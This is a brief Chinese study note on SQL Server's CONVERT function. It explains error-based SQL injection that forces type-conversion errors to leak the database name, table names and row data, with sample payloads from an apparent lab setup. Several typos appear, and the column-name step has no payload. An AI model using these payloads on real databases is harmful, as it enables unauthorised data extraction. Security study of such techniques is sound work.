concert()函数
功能
把日期转换为新数据类型的通用函数
语法
CONVERT(date_type(length),data_to_be_convrted,style)
- date_type(length) 规定目标数据类型
- data_to_be_converted 含有需要转换的值
- style 规定日期/时间的输出格式
示例
- CONVERT(VARCHAR(19),GETDATE())
- CONVERT(VARCHAR(10),GETDATE(),110)
- CONVERT(VARCHAR(24),GETDATE(),106)
原理
- 以convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后将查询结果转换为int类型
- 但是由于SQL查询的结果是varchar型,无法进行指定的转换
- 所以convert函数会抛出一个SQL server错误消息,指出SQL查询结果无法转换为int类型
满足条件的函数
- convert()
- file_name()
- db_name()
- col_name()
- filegroup_name()
- object_name()
- schema_name()
- type_name()
- cast()
注入姿势~
确认好注入点后
查询基本信息
- convert(int,da_name)
得到当前数据库名为:text
获取当前数据库的表名
- convert(int,(select top 1 table_name from information_schema.tables))
得到表名为cmd
获取列名
得到列名为a,且cmd这张表中只有a这一列数据
- cast(十六进制的表名 as varchar)
获取数据
- convert(int,(select top 1 name a from cmd))